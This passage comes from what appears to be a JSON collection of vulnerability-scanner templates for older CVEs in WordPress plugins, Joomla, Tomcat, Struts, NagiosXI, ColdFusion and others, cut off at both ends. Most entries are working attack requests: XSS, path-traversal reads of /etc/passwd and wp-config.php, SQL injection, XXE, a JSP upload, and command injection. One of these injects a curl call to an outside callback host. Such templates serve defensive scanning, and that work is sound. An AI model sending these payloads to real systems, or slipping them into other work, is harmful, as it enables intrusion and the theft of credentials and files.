="]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10956","info":{"name":"WordPress Mail Masta 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd","{{BaseURL}}/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200,500]}]}]},{"id":"CVE-2016-1000141","info":{"name":"WordPress Page Layout builder v1.9.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/page-layout-builder/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Page Layout Builder ="]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/page-layout-builder/includes/layout-settings.php?layout_settings_id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-4764","info":{"name":"Joomla! <=2.0.0 RC2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6080","info":{"name":"Joomla! ionFiles 4.4.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/components/com_ionfiles/download.php?file=../../../../../../../../etc/passwd&download=1"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-1547","info":{"name":"Microsoft OWA Exchange Server 2003 - 'redir.asp' Open Redirection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/exchweb/bin/redir.asp?URL=https://interact.sh","{{BaseURL}}/CookieAuth.dll?GetLogon?url=%2Fexchweb%2Fbin%2Fredir.asp%3FURL%3Dhttps%3A%2F%2Finteract.sh&reason=0"],"stop-at-first-match":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2008-1061","info":{"name":"WordPress Sniplets <=1.2.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/sniplets/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Code Snippets"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-2650","info":{"name":"CMSimple 3.1 - Local File Inclusion","severity":"medium"},"requests":[{"raw":["GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-2398","info":{"name":"AppServ Open Project <=2.5.10 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6465","info":{"name":"Parallels H-Sphere 3.0.0 P9/3.1 P1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webshell4/login.php?errcode=0&login=\\%22%20onfocus=alert(document.domain);%20autofocus%20\\%22&err=U"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\\\" onfocus=alert(document.domain); autofocus","Please enter login name & password"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-7269","info":{"name":"UC Gateway Investment SiteEngine v5.0 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api.php?action=logout&forward=http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:http?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2008-6982","info":{"name":"Devalcms 1.4a - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["sub menu for: "]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2008-5587","info":{"name":"phpPgAdmin <=4.2.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-4668","info":{"name":"Joomla! Image Browser 0.1.5 rc2 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_imagebrowser&folder=../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6172","info":{"name":"Joomla! Component RWCards 3.0.11 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-1059","info":{"name":"WordPress Sniplets 1.1.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6222","info":{"name":"Joomla! ProDesk 1.0/1.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2008-6668","info":{"name":"nweb2fax <=0.2.7 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/comm.php?id=../../../../../../../../../../etc/passwd","{{BaseURL}}/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-2449","info":{"name":"Apache Tomcat 4.x-7.x - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/examples/jsp/snp/snoop.jsp;test.jsp"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Request URI: /examples/jsp/snp/snoop.jsp;test.jsp","JSP Request Method"],"condition":"and"},{"type":"word","part":"content_type","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-3010","info":{"name":"Alcatel-Lucent OmniPCX - Remote Command Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/masterCGI?ping=nomip&user=;id;"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["uid=[0-9]+.*gid=[0-9]+.*"]},{"type":"word","part":"body","words":["master"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-4556","info":{"name":"OpenSymphony XWork/Apache Struts2 - Remote Code Execution","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/login.action"],"body":"username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D\n","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-4504","info":{"name":"Joomla! RSfiles <=1.0.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_rsfiles&task=files.display&path=../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-5728","info":{"name":"phpPgAdmin <=4.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/redirect.php/%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E?subject=server&server=test"],"matchers-condition":"and","matchers":[{"type":"word","words":["","phpPgAdmin"],"condition":"and","case-insensitive":true},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-0885","info":{"name":"Jira Rainbow.Zen - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/jira/secure/BrowseProject.jspa?id=%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e"],"matchers-condition":"and","matchers":[{"type":"word","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-16716","info":{"name":"NCBI ToolBox - Directory Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/blast/nph-viewgif.cgi?../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-10818","info":{"name":"LG NAS Devices - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /system/sharedir.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n&uid=10; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'\n","POST /en/php/usb_sync.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n&act=sync&task_number=1;curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'\n"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]}]}]},{"id":"CVE-2018-14918","info":{"name":"LOYTEC LGATE-902 6.3.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-1000671","info":{"name":"Sympa version =>6.2.16 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/sympa?referer=http://interact.sh&passwd=&previous_action=&action=login&action_login=&previous_list=&list=&email="],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2018-15961","info":{"name":"Adobe ColdFusion - Unrestricted File Upload Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------24464570528145\n\n-----------------------------24464570528145\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.jsp\"\nContent-Type: image/jpeg\n\n<%@ page import=\"java.util.*,java.io.*\"%>\n<%@ page import=\"java.security.MessageDigest\"%>\n<%\nString cve = \"CVE-2018-15961\";\nMessageDigest alg = MessageDigest.getInstance(\"MD5\");\nalg.reset();\nalg.update(cve.getBytes());\nbyte[] digest = alg.digest();\nStringBuffer hashedpasswd = new StringBuffer();\nString hx;\nfor (int i=0;i\n-----------------------------24464570528145\nContent-Disposition: form-data; name=\"path\"\n\n{{randstr}}.jsp\n-----------------------------24464570528145--\n","GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randstr}}.jsp HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["ddbb3e76f92e78c445c8ecb392beb225"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-16836","info":{"name":"Rubedo CMS <=3.4.0 - Directory Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-7490","info":{"name":"uWSGI PHP Plugin Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-11784","info":{"name":"Apache Tomcat - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}//interact.sh"],"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*\\.)?interact\\.sh\\/?(\\/.*)?$"]},{"type":"status","negative":true,"status":[404]}]}]},{"id":"CVE-2018-0296","info":{"name":"Cisco ASA - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"],"headers":{"Accept-Encoding":"deflate"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["///sessions"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-9205","info":{"name":"Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-19458","info":{"name":"PHP Proxy 3.0.3 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?q=file:///etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-7662","info":{"name":"CouchCMS <= 2.0 - Path Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/includes/mysql2i/mysql2i.func.php","{{BaseURL}}/addons/phpmailer/phpmailer.php"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"word","part":"body","words":["mysql2i.func.php on line 10","Fatal error: Cannot redeclare mysql_affected_rows() in"],"condition":"and"},{"type":"word","part":"body","words":["phpmailer.php on line 10","Fatal error: Call to a menber function add_event_listener() on a non-object in"],"condition":"and"}]}]},{"id":"CVE-2018-18264","info":{"name":"Kubernetes Dashboard <1.10.1 - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs","{{BaseURL}}/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body, \"apiVersion\") && contains(body, \"objectRef\")"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-14064","info":{"name":"VelotiSmart Wifi - Directory Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-10738","info":{"name":"NagiosXI <= 5.4.12 menuaccess.php - SQL injection","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/nagiosql/admin/menuaccess.php"],"headers":{"Content-Type":"application/x-www-form-urlencoded"},"body":"selSubMenu=1&subSave=1&chbKey1=-1%' and (select 1 from(select count(*),concat((select (select (select md5({{num}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]}]}]},{"id":"CVE-2018-2392","info":{"name":"SAP Internet Graphics Server (IGS) - XML External Entity Injection","severity":"high"},"requests":[{"raw":["POST /XMLCHART HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary={{randstr_1}}\n\n--{{randstr_1}}\nContent-Disposition: form-data; name=\"{{randstr_2}}\"; filename=\"{{randstr_3}}.xml\"\nContent-Type: application/xml\n\n\n \n \n ALttP\n \n \n \n 12345\n \n \n \n--{{randstr_1}}\nContent-Disposition: form-data; name=\"{{randstr_5}}\"; filename=\"{{randstr_6}}.xml\"\nContent-Type: application/xml\n\n\n ]>\n \n \n \n \n &xxe;\n \n \n \n \n--{{randstr_1}}--\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Picture","Info","/output/"],"condition":"and"},{"type":"word","part":"body","words":["ImageMap","Errors"],"condition":"or"},{"type":"word","part":"header","words":["text/html","SAP Internet Graphics Server"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-19751","info":{"name":"DomainMOD 4.11.01 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_username={{username}}&new_password={{password}}\n","POST /admin/ssl-fields/add.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_field_name=new&new_field_type_id=1&new_description=test&new_notes=test\n","GET /admin/ssl-fields/ HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-19136","info":{"name":"DomainMOD 4.11.01 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_username={{username}}&new_password={{password}}\n","GET /assets/edit/registrar-account.php?raid=hello%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&del=1 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">&really_del=1\">YES"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-10737","info":{"name":"NagiosXI <= 5.4.12 logbook.php SQL injection","severity":"high"},"requests":[{"raw":["POST /nagiosql/admin/logbook.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntxtSearch=' and (select 1 from(select count(*),concat((select (select (select md5({{num}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#\n"],"matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]}]}]},{"id":"CVE-2018-3238","info":{"name":"Oracle Fusion Middleware WebCenter Sites 11.1.1.8.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /cs/Satellite?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/complexassetmaker&cs_imagedir=qqq\"> HTTP/1.1\nHost: {{Hostname}}\n","GET /cs/Satellite?pagename=OpenMarket%2FXcelerate%2FActions%2FSecurity%2FNoXceleditor&WemUI=qqq%27;}%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /cs/Satellite?pagename=OpenMarket%2FXcelerate%2FActions%2FSecurity%2FProcessLoginRequest&WemUI=qqq%27;}%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"word","part":"body","words":["/graphics/common/screen/dotclear.gif"]},{"type":"word","part":"body","words":["","Variables.cs_imagedir"],"condition":"and"}]}]},{"id":"CVE-2018-19914","info":{"name":"DomainMOD 4.11.01 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_username={{username}}&new_password={{password}}\n","POST /assets/add/dns.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_dns1=abc&new_ip1=&new_dns2=abc&new_ip2=&new_dns3=abc&new_ip3=&new_dns4=&new_ip4=&new_dns5=&new_ip5=&new_dns6=&new_ip6=&new_dns7=&new_ip7=&new_dns8=&new_ip8=&new_dns9=&new_ip9=&new_dns10=&new_ip10=&new_notes=%3Cscript%3Ealert%281%29%3C%2Fscript%3E\n","GET /assets/dns.php HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(header_3, \"text/html\")","contains(body_3, \">\")"],"condition":"and"}]}]},{"id":"CVE-2018-7251","info":{"name":"Anchor CMS 0.12.3 - Error Log Exposure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/anchor/errors.log"],"matchers":[{"type":"word","words":["\"date\":","\"message\":","\"trace\":["],"condition":"and"}]}]},{"id":"CVE-2018-20009","info":{"name":"DomainMOD 4.11.01 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_username={{username}}&new_password={{password}}\n","POST /assets/add/ssl-provider.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_ssl_provider=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_url=&new_notes=\n","GET /assets/ssl-providers.php HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(header_3, \"text/html\")","contains(body_3, \">\")"],"condition":"and"}]}]},{"id":"CVE-2018-5316","info":{"name":"WordPress SagePay Server Gateway for WooCommerce <1.0.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=\">"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">","Authenticate your card"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-15535","info":{"name":"Responsive FileManager <9.13.4 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-12675","info":{"name":"SV3C HD Camera L Series - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/web/cgi-bin/hi3510/param.cgi?cmd=setmobilesnapattr&cururl=http%3A%2F%2Finteract.sh"],"matchers":[{"type":"word","part":"body","words":[""]}]}]},{"id":"CVE-2018-19386","info":{"name":"SolarWinds Database Performance Analyzer 11.1.457 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f"],"matchers-condition":"and","matchers":[{"type":"word","words":["&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError HTTP/1.1\nHost: {{BaseURL}}\n"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"word","part":"body","words":["/graphics/common/screen/dotclear.gif"]},{"type":"word","part":"body","words":["","Missing translation key"],"condition":"and"}]}]},{"id":"CVE-2018-14574","info":{"name":"Django - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}//www.interact.sh"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Location: https://www.interact.sh","Location: http://www.interact.sh"]},{"type":"status","status":[301]}]}]},{"id":"CVE-2018-18069","info":{"name":"WordPress sitepress-multilingual-cms 3.6.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/wp-admin/admin.php"],"body":"icl_post_action=save_theme_localization&locale_file_name_en=EN\">\n","host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(tolower(header), \"text/html\")","contains(set_cookie, \"_icl_current_admin_language\")","contains(body, \"\\\">\")"],"condition":"and"}]}]},{"id":"CVE-2018-5233","info":{"name":"Grav CMS <1.3.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"body","words":["/themes/grav","Grav Admin Login","data-grav-"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-16670","info":{"name":"CirCarLife <4.3 - Improper Authentication","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/services/user/values.xml?var=STATUS"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["CirCarLife Scada"]},{"type":"word","part":"body","words":["","Reader.STATUS"],"condition":"and"}]}]},{"id":"CVE-2018-14474","info":{"name":"Orange Forum 1.4.0 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login?next=http://interact.sh/?app.scan/","{{BaseURL}}/signup?next=http://interact.sh/?app.scan/"],"stop-at-first-match":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2018-19365","info":{"name":"Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-1000600","info":{"name":"Jenkins GitHub Plugin <=1.29.1 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://{{interactsh-url}}"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2018-14013","info":{"name":"Synacor Zimbra Collaboration Suite Collaboration <8.8.11 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/zimbra/h/search?si=1&so=0&sfi=4&st=message&csi=1&action=&cso=0&id=%22%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2018-10735","info":{"name":"NagiosXI <= 